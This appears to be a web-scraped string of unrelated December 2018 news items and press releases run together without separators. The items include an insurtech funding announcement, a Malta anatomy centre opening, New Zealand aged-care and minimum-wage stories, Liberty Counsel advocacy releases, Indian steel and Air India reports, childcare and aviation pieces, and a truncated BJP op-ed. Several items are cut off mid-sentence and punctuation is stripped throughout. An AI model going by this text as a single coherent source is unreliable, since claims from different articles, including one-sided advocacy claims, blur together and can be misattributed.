Lane, former CEO, GE Technology Finance and President of IBM Credit Corporation. Given the companys progress, I was eager to expand my personal investment in the current round. In 2018, xagent launched its new multi-carrier, multi-quote portal in Beta test and will have 5 national carrier partners CNA, Hiscox, Rockingham/Atlas, EMPLOYERS, and AmTrust live on the platform by the end of this month. Over 350 agents have used the system to produce new business since September, completing more than 1500 logins in the last 60 days to quote and bind policies. BOP, Commercial General Liability, Professional Liability, and Workers Compensation are all live on the system today. Agents are praising the simplicity and time savings. xagent is easy to use and an awesome addition to my agency, stated Jeff Toner, CIC, from Get The Insurance Answer in Bensalem, Pennsylvania. Seven new carriers have signed integration agreements, and four more are in the signature process, including some of P&Cs largest. The company expects to announce details in early 2019. This surge of carrier interest is proof that the timing is right for xagents value proposition in every segment of the market. And just this month, the company entered into an agreement to acquire an established national wholesale brokerage firm. This will rapidly accelerate xagents surplus lines product appointments and integrations, adding many new carrier appointments and expanding distribution to 1500+ additional agencies. Im proud to be part of the best team in P&C insurtech, said Bryan Baird, xagents CEO, who has built successful wholesaler, MGU, and MGA businesses for over 20 years. The platform and traction weve created in 2018 are built for rapid scale and exponential value creation for agents, carriers, and the businesses they serve. About xagent: xagent (http://www.xagent.com) was built by agents for agents, and delivers on the promise of a truly independent single-entry multi-quote exchange for standard and surplus lines business insurance in all 50 states. The company was recently named one of the Top 10 Insurtechs of 2018 by Insurance CIO Outlook. If you are new to iQ you can schedule a demo and learn more about this opportunity. PSFK iQ - Where Innovators Turn for Research. Our professional-grade research platform is designed specifically for Retail and CX leaders who want to know whats next. Whether youre staying current on trends or need a real-time research partner to help you get ahead, count on PSFK iQ to deliver the info you need to make your next move. Published on: 19 December 2018 Prime Minister of Malta, Joseph Muscat Prime Minister of Malta, Joseph Muscat The Anatomy Centre includes a dedicated area for teaching anatomy through dissection and it will be equipped with facilities for clinical imaging, videos of surgical procedures and specialised computer imaging. The space includes a mortuary area, which has an embalming area with state of the art refrigeration and storage facilities. The building also has a central courtyard that provides outdoor space and includes office accommodation for academic, technical and administrative staff. Maltese Prime Minister, Joseph Muscat said the Anatomy Centre was the beginning of a long-term relationship with Barts and London School of Medicine and Dentistry: They are the future generation of doctors, professors, specialists and researchers in various fields of medicine. They are getting training here and taking their knowledge far and wide. We want these students to say that they are proud to call our islands their home." Training the next generation of doctors Professor Steve Thornton, Vice-Principal (Health) at Queen Mary University of London, said: We are incredibly excited to see our new state-of-the-art anatomy centre ready for teaching. These facilities, in combination with the high-quality educational programme that weve been delivering, will give our students the very best start to their medical careers and help train the next generation of doctors. The Anatomy Centre has now started receiving Year 1 and Year 2 medical students carrying out their Medicine MBBS with Queen Mary University of London in Gozo. The University is currently using the Sir M.A. Refalo 6th Form College as a temporary teaching facility until the medical school on the Gozo General Hospital campus is completed in 2019. Speaking at the inauguration, Steward Health Care International President, Dr Armin Ernst, explained that the completion of the Anatomy Centre within a stringent 4-month period shows Steward Health Cares commitment towards the Maltese & Gozitan community and towards our partners in this project over at Barts and The London School of Medicine and Dentistry. More information It's been the year full of shocking allegations of elderly abuse and rest home conditions. After hearing horrible tales from his listeners, RadioLIVE's Mark Sainsbury launched a petition to the Government to create a champion for elderly citizens. "This petition is the best way we can do something without just talking about it," he said in June. After months of campaigning for supporters, Sainsbury is now equipped with over 13,000 and the support from the very caller who shared her story. Earlier this year, RadioLIVE listener Corina O'Brien shared disturbing details around her father's rest home - alleging that her father had been severely neglected up until his death. Corina, her brother Paul, and Sainsbury joined forces on Thursday to present the petition to New Zealand First MP Jenny Marcroft. Ms Marcroft, who is a spokesperson for Human rights, will take the petition to Parliament for review. Watch the full video above. RadioLIVE. A lobby group is calling out the Government's failure to appoint an Aged Care Commissioner, saying it's time to "get on with it". It comes after disturbing discoveries this year inside rest homes - including that an elderly man died after being left with maggots in his feet. Grey Power president Mac Welch told RadioLIVE he doesn't think conditions in rest homes have changed - and he's calling for the Government to take action. The investigations have all been done. The facts are there. "That incident, which we're all well aware of, was absolutely shocking, it really was. It was a massive failure of the institution concerned. "There is always room for improvement and every now and again we get these horror stories. But it's not just in aged care facilities." Mr Welch says Grey Power have spent the past three or four years pushing for the appointment of an Aged Care Commissioner to combat the abuse and mistreatment of the elderly. "What we've currently got is a bits and pieces - where you've got three, probably, different ministers with little bits of responsibility and then on top of that you've got a retirement commissioner," he says. "But no one person has got oversight of the whole thing and that's what we're looking for." Mr Welch said before the last election they'd held reviews into aged care around New Zealand in conjunction with Labour and the Greens. The final report found an Aged Care Commissioner was "urgently required" - and Labour promised to take action. "David Clark, the Minister of Health, made a commitment prior to the election in a speech he gave in Christchurch that the first Budget of a Labour-led Government would see the appointment of an Aged Care Commissioner," he says. But this appointment has still not been made, much to Grey Power's disappointment. RadioLIVE's Mark Sainsbury has been running a petition calling for the establishment of the Commissioner, which currently has 13,724 signatures. Last week, Mr Welch had a meeting with Prime Minister Jacinda Ardern, Deputy Prime Minister Winston Peters and associate Minister of Health Jenny Salesa to discuss the appointment. But it's left him less confident that action will be taken. "Up until that meeting I was fairly confident that it was on the horizon and it was just a matter of time," he says. "But I believe that Jenny Salesa, who is associate Minister of Health, has been appointed to investigate the appointment." "What more is there to investigate? They made the decision, we know New Zealand First would support such an appointment. Why the hold-up? I'm starting to get a little bit nervous. "The time for looking's been done. The investigations have all been done. The facts are there. Let's get on with it." Newshub. 'Grinches' Can't Steal Nativity Scene Contact: Mat Staver, Liberty Counsel, 407-875-1776, Liberty@LC.org LOGAN, Ohio, Dec. 20, 2018 /Christian Newswire/ -- Liberty Counsel has offered to defend a Christmas light display containing a Nativity scene after the Freedom From Religion Foundation (FFRF) demanded its removal from the exterior walls of the Hocking County Courthouse. The Christmas light collection displayed in downtown Logan and on the courthouse exterior is a 79-year-old holiday tradition which consists of secular and religious Christmas symbols. The collection includes a Nativity scene displayed on the exterior of the courthouse. On the same side of the courthouse are a number of secular Christmas holiday symbols, including a poinsettia, holly leaf wreath, and Christmas bells, as well as a lighted Christmas tree and two lighted reindeer on the lawn. The FFRF letter alludes to the fact that a Christmas display consisting of sacred and secular elements is constitutional, but fails to mention its own case, Freedom from Religion Foundation, Inc. v. City of Warren, explicitly supporting that fact. In that case, the Sixth Circuit Court of Appeals ruled that a holiday display which included both secular and religious symbols in Warren, Michigans civic center was a constitutional form of government speech. The court upheld Warrens rejection of FFRFs demand to display a sign stating, religion is but myth and superstition next to the Nativity scene. The Hocking County Courthouse contains part of the citywide Christmas light collection and display. A Logan resident, the late James D. Wells, created the lighted Christmas holiday decorations, beginning in 1939. The hand-drawn designs were sketched out in chalk on cement floor, and steel bar stock was carefully bent to match. The steel pieces were welded or bolted together, painted, and lights and garland were added. Wells nine children assisted their father in painting the colored lights by hand. Wells designed more pieces to add to the existing light collection each year and now residents consider it a cherished seasonal display of public art. Many of the original elements have been restored in recent years and are displayed throughout the city. Liberty Counsels Founder and Chairman Mat Staver said, Publicly sponsored Nativity scenes on public property are constitutional, especially when the display includes other secular symbols of the holiday. Despite its threats, the FFRF grinches cannot steal Christmas from the residents of Logan by removing a long-time cherished Nativity scene. Celebrating or acknowledging Christmas is legal on public property, and references to God or Jesus should not be censored. We stand by the city and will offer legal counsel to any city facing threats from the FFRF or other individuals, said Staver. Liberty Counsel has launched its sixteenth annual Friend or Foe Christmas Campaign and provides a memorandum to offer guidance regarding the public celebration of religious holidays. The campaign is designed to educate, and, if necessary, to litigate to make sure that religious viewpoints are not censored from Christmas and holiday themes. Liberty Counsel has been actively monitoring cases across the country where there is intimidation by officials and groups to remove the celebration of Christmas in public and private sectors. Liberty Counsel has successfully educated and reversed these anti-Christmas actions in all of these situations. Liberty Counsel is an international nonprofit, litigation, education, and policy organization dedicated to advancing religious freedom, the sanctity of life, and the family since 1989, by providing pro bono assistance and representation on these and related topics. Liberty Counsel provides broadcast quality TV interviews via Hi-Def Skype and LTN at no cost. Living Wage Aotearoa has applauded the Government's boost for workers making minimum wage, but still has its sights set at $20.55 per hour. Minimum wage will be raised by $1.20 from April 1 next year to $17.70 an hour, which marks the biggest boost in New Zealand's history. Annie Newman, convenor for Living Wage Aotearoa, says it will make a massive difference for many New Zealanders. Companies already paying $20.55 will also be positively affected by their competition being forced to pay their employees a bit more, Ms Newman says. But while the Government's boost is good news for thousands, Ms Newman argues that it's still not enough. "We know that even on $17.70, people are really struggling to survive," Ms Newman told RadioLIVE. Indeed, the new minimum wage is 14 percent lower than the living wage proposed by the volunteer-based organisation. The living wage movement suggests that its recommended wage is "the income necessary to provide workers and their families with the basic necessities of life". The organisation suggests $20.55 per hour will enable workers to "live with dignity" and participate as active members of society. The minimum wage increased by 75 cents to $16.50 an hour earlier this year, which was originally announced in December 2017. Workplace Minister Lees-Galloway said the latest move is part of the coalition Government's goal of having a minimum wage of $20 per hour by 2021. RadioLIVE. UK: The Mendip Rail joint venture of aggregate and cement producers Hanson Aggregates and Aggregate Industries has awarded Freightliner a long-term contract to haul an expected eight million tonnes of aggregate a year from quarries in Somerset to terminals in London and the southeast of England. The current contract is ... GERMANY: A German state aid programme designed to promote a shift of freight from road to rail has been given the go-ahead by the European Commission. Virgin Trains has completed the roll-out of Avocet hand-held ticketing issuing machines supplied by The Ticket Keeper. These will be able to issue digital tickets to a mobile device, reducing paper usage. Avocet is giving us flexibility, said Nick Dodd, Director of digital projects at Virgin Trains. Our people can ... Thailands public broadcaster MCOT has agreed a deal with BBC Studios to be the first broadcaster in Southeast Asia of a BBC First programme block. The BBC First block, which will debut on MCOTs free-to-air Channel 9 in mid-February 2019, will provide drama such as McMafia starring James Norton and crime drama Luther starring Idris Elba as the maverick cop DI John Luther. Press a drama about journalists working on broadsheet and tabloid newspapers in London is also among the BBC content to be offered.British drama is working remarkably well with audiences, with outstanding talent producing some of the very best television in the world, said Myleeta Aga, SVP & GM of South & South East Asia, BBC Studios. We are excited to be working with MCOT to bring premium British drama to Thai audiences, backed by the BBC First brand.BBC First is also available as a subscription video-on-demand (SVOD) channel in Singapore, Malaysia and Hong Kong, and as a block in Japan. It can also be accessed via BBC Player online and as an app in Singapore and Malaysia. Find a great selection of commercial real estate, manufactured homes, timeshares and more for Sale Buy real estate. Find a great selection of commercial real estate, manufactured homes, timeshares and more for Sale in US and Canada. Search Real Estate No Tax Dollars for Aborted Babies Contact: Mat Staver, Liberty Counsel, 407-875-1776, Liberty@LC.org WASHINGTON, Dec. 20, 2018 /Christian Newswire/ -- President Donald Trump's administration continues to scrutinize the use of fetal tissue from aborted babies in federally funded research. Recent hearings hosted by government oversight subcommittees are pinpointing this horrendous practice of using taxpayer dollars to experiment on preborn human bodies. The National Institutes of Health (NIH), an organization within the Department of Health and Human Services (HHS), estimates it has spent $103 million taxpayer dollars purchasing and experimenting on human fetal tissue in fiscal year 2018. The HHS is currently auditing federal purchases of fetal tissue and the NIH has just announced it will spend up to $20 million on research alternatives. However, during the recent hearings, NIH Director Dr. Francis S. Collins stated that while research on alternatives to the use of aborted fetal tissue is "scientifically, highly justified," fetal tissue will nevertheless "continue to be the mainstay." Dr. Sally Temple, scientific director for the Neural Stem Cell Institute, was asked her opinion of the 2015 undercover videos released by the Center for Medical Progress exposing Planned Parenthood's unethical and potentially illegal profiteering from the sale of aborted baby body parts. Temple responded: "I found the videos shocking." Yet she admitted that her company had purchased fetal tissue from one of the groups caught on the videos. Temple also stated the taxpayers should fund Planned Parenthood because it does "wonderful work for women's health." Dr. Tara Sander Lee of the Charlotte Lozier Institute also revealed that human fetal tissue was never needed for research because of viable alternatives such as adult stem cells. Lee said, "We do not need fetal body parts from aborted babies to achieve future scientific and medical advancements. After over 100 years of research, no therapies have been discovered or developed that require aborted fetal tissue. History has shown us that we never needed fetal tissue." National and state pro-life leaders sent a letter last September to U.S. Department of Health and Human Services Secretary Alex Azar urging the government to end the taxpayer-funded use of aborted fetal tissue for research. That same month, HHS canceled the contract between the Food and Drug Administration and Advanced Bioscience Resources (ABR) which would have used taxpayer dollars to fund the use of aborted fetal tissue for research. According to the federal contract database, the FDA signed the contract on July 25 with ABR to acquire "fresh" organs from aborted babies to implant them into mice. The taxpayer-funded project included paying nearly $16,000 to ABR for harvested organs, even though the organization remains under investigation by the Department of Justice. ABR admitted that it has paid $60 for aborted babies and then sold their body parts at $325 per "specimen." "It is encouraging that the Trump administration continues to unveil the unethical and immoral profit that is being made from aborted baby parts," said Mat Staver, Founder and Chairman of Liberty Counsel. "Every human life is precious and should not be sacrificed as an experiment. These despicable acts by organizations and companies underscore why our client Sandra 'Susan' Merritt should be applauded for revealing the seedy underbelly of Planned Parenthood," said Staver. Liberty Counsel is defending Sandra Merritt against 15 felony charges, brought by the Attorney General in California, to punish her for undercover work as one of the journalists who produced the videos that exposed Planned Parenthood's unethical and potentially illegal profiteering from the sale of aborted baby body parts. Liberty Counsel is an international nonprofit, litigation, education, and policy organization dedicated to advancing religious freedom, the sanctity of life, and the family since 1989, by providing pro bono assistance and representation on these and related topics. Liberty Counsel provides broadcast quality TV interviews via Hi-Def Skype and LTN at no cost. By Elizabeth Kwiatkowski, 12/19/2018 ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. star Colt Johnson 's cousin, John Maymoun, has confirmed Colt and Larissa Christina Dos Santos Lima will star on the next season of : Happily Ever After?.John, who has appeared on 's sixth season which is currently airing on TLC, revealed to RadarOnline the couple is currently filming Season 4 of the Happily Ever After? spinoff."I appear on the show only to bring [Colt's mother] Debbie a birthday gift and Larissa flowers," John explained.The upcoming season will reportedly feature the couple still living with Debbie, as John also confirmed Colt and Larissa never moved out of the home despite Larissa's complaints.It probably won't come as a surprise to viewers that John claims Colt and Larissa's relationship is still very tumultuous. After all, Larissa has recently accused Colt of cheating, and just last month, she was arrested for domestic violence."Larissa locks herself in the bedroom most of the time," John told RadarOnline. "He's quite passive. I'm not sure he knows exactly what to do. He doesn't seem happy at all. Debbie locks herself in her room as well."Larissa hinted she and Colt were filming a spinoff of last week, when she accused Colt of being unfaithful and using her to continue their stint on reality television."Colt is cheating [on] me with this girl!" Larissa captioned one screenshot of a text-message exchange between Colt and the woman he was allegedly having an affair with on Instagram. "And [he has] plans to use me until he finish Happily Ever After."John was shown accusing Larissa of being with Colt for his money and a permanent stay in the United States during the currently-airing season of .The argument at a cookout got so out of hand, in fact, that John ended up screaming and swearing at the Brazilian native."I apologized to Colt personally," John shared with the website. "For yelling in his house and calling his fiancee names."But the apology reportedly did not solve the problem and John's relationship with Larissa is still "horrible.""She attacked Colt twice and I don't believe she loves or respects Colt," John insisted. "But if Colt's stuck with her, I want him to be happy. It's cheaper to keep her!"John seems to think Larissa is the source of drama in her relationship, but Colt just came forward, apologizing "for all of the pain" he has caused his wife and saying he wants to fight to keep her Nicole Nafziger and Azan Tefou , who appeared on Season 3 of : Happily Ever After?, will also reportedly star on the next season of Happily Ever After?'s spinoff. They started filming a couple of weeks before Thanksgiving," a source told RadarOnline in late November of Nicole and her fiance."It's all about her next trip to Morocco and what her family thinks about it." , We're sorry, this article is not currently available Thunder Bay motorists are being charged around $1.30 for a litre of gas, while drivers in the Greater Toronto Area are looking at gas prices around 95 cents a litre. Corrosion is a big menace for anything with steel application from rebars in construction, oil and water pipelines, railway track, power distribution poles to automobiles, says Kunal Bose. IMAGE: The government must use the law and tax incentives to give a boost to the use of galvanised steel in all coastal zone constructions, bridges and highways besides cars. Photograph: Reuters India raced past Germany last year to become the worlds fourth largest automobile market with sales of 4.02 million vehicles. The three countries ahead of us were China, the US and Japan. What was particularly outstanding for India was its achieving the globes fastest rate of growth in automobile sales in 2017 at 9.5 per cent. No wonder, there is a compelling pull for leading auto groups in the West and Japan to go on strengthening their manufacturing muscle here. A question is now thrown at them and their two Indian peers as to why they are using carbon cold-rolled (CR) steel and not the desirable galvanised steel in building cars here for local marketing. Call it make in India for the world, manufacturers from Maruti Suzuki to Hyundai to Ford are all exporting cars in growing numbers taking advantage of skills availability and comparatively low production cost. Interestingly, while the cars exported from India are by regulation built with galvanised steel, all the sub-Rs 10 lakjh vehicles sold in the local market will have their panels - bonnet, boot, sills and doors - made from CR steel with attempts to improve its anti-corrosive character through coatings and treatments. As field surveys conducted by IIT Bombay first in Mumbai in 2015 and then in Chennai earlier this year show, however advanced the coatings are, they are not found effective in stopping blisters, surface rust and perforations appearing on panels. Therefore, coatings are no substitute for hot-dip galvanised steel. A major survey conclusion is that more than perforations, cars suffer damages by way of blisters, surface rust and imperfections as they get exposed to aggressive climate marked by high levels of humidity, marine environment and acid rain. More the cars age, greater will be the damages by corrosion, especially in their under-body and structural components. Over 60 per cent of cars on Indian roads have surface-rust. Interestingly, the source of inspiration for IIT work was the series of parking lot corrosion surveys of cars done in Detroit in Michigan in the 1980s at the behest of American Iron and Steel Institute and the Big Three US automakers - GM, Ford and Chrysler. Based on survey recommendations, the US automobile industry migrated from using CR steel to galvanised and galvannealed steel for making car interior, exterior and under-body parts. At the same time, much improvement continued to happen in base coat and clear coat paint technology, thanks to increasingly large R&D investments by Western and Japanese paints industry. A little known fact here is that consumer activists and government nudges played an important role in forcing the US automakers to use galvanised steel instead of CR steel. Consumer activist and clean environment crusader Ralph Nader was in the forefront of public campaign against rusting of cars, which at some point compromises their structural integrity and safety of riders. Government mandate and safety consideration have led automakers in Europe, Japan and South Korea also to use galvanised steel. Based on this, cars in all these countries carry anti-corrosion and anti-perforation guarantee for at least ten years. This, however, is not the case with the automobile industry in China and India where only the ones made for exports have panels and under-body parts made of galvanised steel. According to Sunil Duggal, CEO of Hindustan Zinc, if Indian buyers are not insisting that their cars too should be made of galvanised steel, it is because of their lack of awareness. The same is the case with China. Both the countries need activists like Nader to create public awareness and to prevail upon the governments to use the law and tax incentives to give a boost to the use of galvanised steel in all coastal zone constructions, bridges and highways besides cars. Corrosion is a big menace for anything with steel application from rebars in construction, oil and water pipelines, railway track, power distribution poles to automobiles. The country continues to lose anything between 4 and 5 per cent of GDP due to corrosion. Not only this, many of the recent bridge collapses in India will be traced to using normal black steel rebars. This is sadly in spite of galvanised rebars having four to five times higher capacity to withstand chloride concentration than the normal variety. These also remain passivated at lower ph levels, substantially slowing the rate of corrosion, says Duggal. Steel ministry mandarins have long recognised the need for compulsory use of hot-dip galvanised rebars in all constructions from house buildings to bridges in coastal areas. This is because combination of salt in coastal area air and high humidity will subject any metal surfaces to corrosion as it will penetrate all openings in concrete structures. In time, the structures become weak making them highly unsafe. Indias 7,517-km coastline includes some major cities, including Mumbai and a good number of trading hubs and ports. Closer the reinforced concrete structures are to a sea, greater are their vulnerability to corrosion. Mandatory use of galvanised rebars in coastal areas may cost a little extra at construction time. But in the long run, this will result in a major saving besides ensuring safety for users. The American Institute of Architects says the only way to make coastal infrastructure decay resistant is to use galvanised steel. Galvanisation does not add to the strength of steel, which is decided by its carbon content and thickness. When carbon steel is given a bath in molten zinc, a corrosion resistant layer is formed. The metal thus galvanised finds protection from moisture, salt spray and industrial chemicals. The unique anti-corrosion properties that steel retains in aggressive environments over decades on galvanisation has led International Zinc Association to recommend that India, whose over 125,000-km rail tracks pass through different climatic zones, should progressively change over to galvanised rails. Rail track glavanisation is recommended on four counts. First, rails have a life of 800 gross million tonnes. In our traffic condition, they should have a life of up to 13 years. But corrosion reduces rail life by half. Second, replacement of rails well ahead of their normal life costs the country around Rs 450 crore a year. Third, accidents happen because of undetected corrosion of rails, fishplates and bolts. Galvanisation will give protection to the rail track network. Finally, as Indian Railways wants to run trains at faster speeds to be able to carry more passengers and goods, rails must not be exposed to corrosion. The fourth widely consumed metal in the world, nearly half the output of zinc is used for steel galvanisation. The government also sought approval from Parliament for equity infusion worth Rs 2,345 crore into struggling Air India and another Rs 1,300 crore for Air India Asset Holding. National carrier Air India has realised as much as Rs 724 crore through its assets monetisation programme as well as from space rentals, Parliament was informed on Thursday. Of this, an amount of Rs 410 crore has been mopped up till date through sale of its non-core assets in various cities in India and abroad, Minister of State for Civil Aviation Jayant Sinha said in a written reply to the Lok Sabha. "Till date, Air India has realised an amount of Rs 410 crore through sale of its non-core assets in various cities in India and abroad. AI has also realised a rental income of Rs 314 crore approximate. A total of Rs 724 crore has been realised by assets monetisation and space rentals," Sinha said. The Cabinet Committee on Economic Affairs (CCEA) approved the Financial Restructuring Plan (FRP) and Turn Around Plan (TAP) for Air India (AI) in the 2012. It also approved monetisation of real estate assets in Air India to the tune of Rs 5,000 crore over the next 10 years period with the annual target of Rs 500 crore from fiscal 2013 onwards, he said. Sinha said Air India has initiated e-auction through MSTC for the sale of some of its non-core assets comprising of residential and commercial properties spread across the country. As many as 16 properties across Amritsar, Agartala, Bhuj, Bengaluru, Chennai, New Delhi, Gwalior, Hyderabad, Imphal, Kolkata, Lonavala (Maharashtra), Mangalore Mumbai, Nasik, Tiruvanthapuram and Pune have been identified for auction through MSTC, the minister said. He also said that 14 Air India properties various cities have been put on sale. Replying to another member's question the minister said that Air India expects to save up to Rs 8-10 crore per annum from its decision to stop serving non-vegetarian food on board its domestic flights. Non-vegetarian meals have been discontinued in the economy class of domestic Sector flights from June 2017 to save costs, reduce wastage, improve service and also avoid any chances of mix up of meals, Sinha said in the reply. The expected annual saving is Rs 8-10 crore per annum, he said. The government also sought approval from Parliament for equity infusion worth Rs 2,345 crore into struggling Air India and another Rs 1,300 crore for Air India Asset Holding. As part of efforts to revive the financial fortunes of the national carrier, the government has decided to transfer debt worth Rs 29,000 crore to Air India Asset Holding Company, a special purpose vehicle. The airline has debt worth around Rs 55,000 crore. In the second batch of Supplementary Demands for Grants 2018-19 tabled by Finance Minister Arun Jaitley in the Lok Sabha, approval has been sought for Rs 2,345 crore equity infusion into the airline under a turnaround plan. Besides, Parliament's nod has been sought for providing grants-in-aid of Rs 1,300 crore to Air India Asset Holding. Earlier this year, the government's strategic stake sale offer for Air India failed to attract any bidders and since then, various other options are being explored to improve the financial position of the national carrier. Air India is staying afloat on a bailout package extended by the previous United Progressive Alliance regime. As part of the turnaround plan, Air India is to receive up to Rs 30,231 crore from the government subject to meeting certain performance thresholds. The 10-year bailout package began from 2012. Meanwhile, the government has sought Parliament's approval for additional gross expenditure of Rs 85,948.86 crore for the current fiscal ending March 2019. Photograph: Amit Dave/Reuters Several factors force women out of the workforce. But mainly it's lack of good childcare facilities. Indian working woman, Kolkata. Photograph: Rupak De Chowdhuri/Reuters. A recent article in The Economist argued that if Indian women were to work and the country rebalanced its workforce, it would be 27 per cent richer. One of the main reasons why women drop out of the workforce is that post-marriage and children, their major responsibility is the upbringing of the children and the well-being of the family. At a time when the joint family system has all but disappeared, in most cases, the responsibility of being the primary caregiver falls on a woman. Indian working woman, Mohali, Punjab. Photograph: Ajay Verma/Reuters. It was recognition of this fact that led Priya Krishnan, 43, to study the options for child care for working women in 2011. Krishnan had seen women often resigning once they had children even while she lived and worked at MphasiS in the UK. But once Krishnan moved back to India with her two children and settled down in Bengaluru, a city full of migrant families with little support, she found that most women did not work, citing unreliable help as the main reason. Those who did work, quit once they had children, often never returning to the workplace. Indian working woman, Old Delhi. Photograph: Mansi Thapliyal/Reuters. Apart from her personal experience, her research confirmed what she saw in Bengaluru. She found that studies showed there were close to 160 million children below 6 years of age in India and 60 per cent of these were in nuclear families with no support, as in no grand-parents or other relatives in the home. Of the parents who did have child support, the majority were unhappy with the quality of it. Krishnan saw an opportunity and set up the brand Klay by Founding Years in 2011 to provide high quality, accountable day care to stem the outflow of women from the workplace by allowing them to work without guilt or anxiety. The four main factors that most parents looked for, she found, were the quality of the interaction, transparency, accountability of the provider, and a safe, happy environment for the child both physically and emotionally. Indian working women, Shrirampur, Maharashtra. Photograph: Vivek Prakash/Reuters. Ironically, I realised that what parents were looking for was actually something better than what they could provide themselves at home. It had to be better -- not the same, said Krishnan. So thats what she attempted to provide. Having two children herself and having juggled things in her life to find the right balance, she knew what she was dealing with. Around the same time, companies too began to become aware of this need. More and more state governments have issued directives indicating that child-care and creche facilities are the responsibility of the employer who is also expected to provide the bulk of the funding. Across sectors -- tech, banking, pharma and others -- some companies have taken the lead and others are gradually following. There is certainly a higher degree of realisation and willingness to step in from the corporate, said Krishnan. Indian working woman, Gurgaon. Photograph: Mansi Thapliyal/Reuters. Other interesting trends have intrigued her. For example, single parents tend to form a support group of sorts and are willing to chip in when the parent is travelling. With many single parents today, a creche facility is something not only mothers but also fathers seek. Another trend is that since so many parents have only one child -- almost 70 per cent of the 14,000 parents using Klay -- that many value the quality of the interaction their child has with other children above all else. Many parents feel that the child care centre needs to offer a quality of interaction among the children and a stimulating environment which is better than what grandparents at home may be able to do, she explained. Indian working woman, Harwan, Kashmir. Photograph: Fayaz Kabli /Reuters. Klay started with one centre in 2011 in Bengalurus Whitefield district with around 60 children. Now the company has 130-odd centres in total. Of these, 47 are on the company premises -- Unilever, P&G, Airtel, banks and other large corporate (the law requires employers with over 50 employees to offer a creche facility for staff). Klay centres are primarily in companies located in Bengaluru, Hyderabad, Mumbai, Pune, NCR, and Chennai. The remaining 76 centres are standalone day care places that provide care for a total of 7,500 children. Klay has had two rounds of external funding and has raised around US$ 30 million so far. The company employs 2,100 people. Indian working women, Mumbai. P hotograph: Navesh Chitrakar/Reuters. Despite the statistics on female participation in the labour force, Krishnan is looking forward to growth. India ranked 121st out of 131 countries in female workforce participation in a 2017 World Bank report. The percentage of women has fallen steadily from 36.9 per cent in 2005 to the current figure of 27 per cent. The low figure is the result not only of women being expected to bear domestic responsibilities but of the patriarchal belief among men that a wife who goes out to work lowers their social status. Indian working woman, Gir, Sasan, Gujarat. Photograph: Anindito Mukherjee/Reuters. Yet Krishnan expects her companys growth to be led by smaller Tier II cities where, she feels, more women are coming into the workforce. Smaller satellite towns such as Kochi, Ahmedabad, Lucknow and others are seeing an increasing number of women entering the workforce with many wanting to stay employed even after marriage. In a sense, I see growth as being limitless but certainly, 1,000 centres over the next 10 years catering to 150,000 children is achievable, she said. Indian working woman, Gurgaon. Photograph: Mansi Thapliyal/Reuters. Nidhi Reddy, senior advisor, 9.9 Group, which has been looking at how to bring women back into the workforce notes that day care centres were first set up in Europe in the late 19th century to support immigrant women workers and yet India still has such a long way to go. Women have limited professional options to begin with and several inflection points in their lives which can force them out of the job force. It is a big leaky pipeline but good childcare facilities can at least plug one of the holes, said Reddy. Lead image: Vivek Prakash/Reuters. Airfares in Indian market are unsustainable, says a senior Boeing official. Photograph: Randall Hill/Reuters Airfares in the fast-growing Indian market are 10-15 per cent lower than breakeven levels for airlines, a Boeing executive said, as the planemaker raised its long-term jet order forecast for the nation to a record despite market challenges. Major Indian carriers Jet Airways, IndiGo and SpiceJet were all in the red in the September quarter, as high oil prices, a weak rupee and intense price competition eroded their margins. It is important for the sustainability of the sector that airlines show more discipline in pricing fares, Dinesh Keskar, senior vice-president, Asia Pacific and India sales at Boeing Commercial Airplanes, said on Wednesday. "Double-digit growth coupled with losses is what I am concerned about," he said. "I will forego 2-3 per cent growth for making money rather than filling up my airplane at rock-bottom prices and never making money." To date, however, the lack of profitability has not affected deliveries to Boeing clients, which include cash-strapped Jet Airways and budget carrier SpiceJet, Keskar said. India's passenger traffic has risen at around 20 percent in recent years, making it one of the world's fastest-growing aviation markets. Boeing expects the country to become the third-largest commercial aviation market by the early 2020s. It sees Indian carriers ordering a record of up to 2,300 new planes worth $320 billion from global planemakers over the next 20 years to 2037, about 9.5 per cent more than its previous prediction of 2,100 jets until 2036 made last year. It said single-aisle planes, such as its 737 MAX, would account for 84 per cent of global planemakers' new jet deliveries to India over the period, higher than the world average. The forecast comes amid signs that pressure on the Indian airline sector, dominated by low-cost carriers, is starting to ease as oil prices fall and the rupee firms. Kotak Institutional Equities last week said in a note to clients that there were signs the worst was over, with data showing flat fares in the third quarter ending December 31, versus a 9-10 percent drop in the previous two quarters. Carriers like Vistara, a joint venture between Singapore Airlines and India's Tata Sons, IndiGo and budget airline GoAir are also turning to the international market in search of better returns. India has retained a Category 1 rating from the US Federal Aviation Administration, which means its airlines remain eligible to add new flights to the United States and codeshare with US carriers, the Directorate General of Civil Aviation said on Tuesday evening. Last year, India received a poor rating in an audit by the UN's aviation body, sparking industry concerns that it could be downgraded to Category 2 alongside countries like Bangladesh and Thailand. Photograph: Courtesy Garuda Indonesia The humility with which the BJP deals with these 10 lessons will determine the outcome of 2019, says Shekhar Gupta. Photograph: PTI It is conventional wisdom that usually the loser learns from a defeat than the winner in the heady high of victory. Here are 10, mostly rude lessons for the BJP from this triple setback in the heartland. 1. Its high command style management of the party is now broken. For it to work, Prime Minister Narendra Damodardas Modi has to have the ability to swing state elections by himself. He did so until Uttar Pradesh. His limitations first became evident in Karnataka where the BJP came up short against an incumbent. The latest elections have exposed his limitations further. If you do not have one Supreme Leader capable of making lamp-posts win, you cannot have an all-powerful high command. You must devolve power. 2. The dream of Congress-mukt Bharat was a fantasy so ugly even the RSS had disowned it. It is now over. The Congress was reduced to 44 in the 2014 Lok Sabha elections. But even in that rout, it had secured 107 million votes against the BJP's 170 million. You cannot kill a party which still had 107 million adults voting for it in its worst rout in history. In the past year, the BJP has ended up with a Congress-yukt Gujarat and now a Congress-led Hindi heartland. The BJP cannot wish the Congress away. 3. The BJP's opponents, and more importantly even its allies, are getting over their fear of the 'agencies'. First, the BJP has misused these too much and too crudely. The Congress too misused these in the past, but they had acquired the sophistication to be less in-your-eye. Most cases have been so bad that they've fallen by the wayside. The agencies punish their victims through leaks and plants. Nobody is afraid of bad publicity anymore, because people by and large do not believe it. The Christian Michels can no longer give you an electoral advantage. Photograph: PTI 4. The era of squashing institutions is over. These results have come on top of the messy revolts in the Supreme Court, the CBI and the RBI. These have greatly dented the Modi government's and the BJP's image as a hard' establishment that no one would dare mess with.No longer. The institutions have been losing their fear. These results will help wipe out any residue that survived. 5. The fantasy of controlling both houses of Parliament by 2022, and thereby being able to make important changes to the Constitution and the system of governance, is now buried. In fact, given how 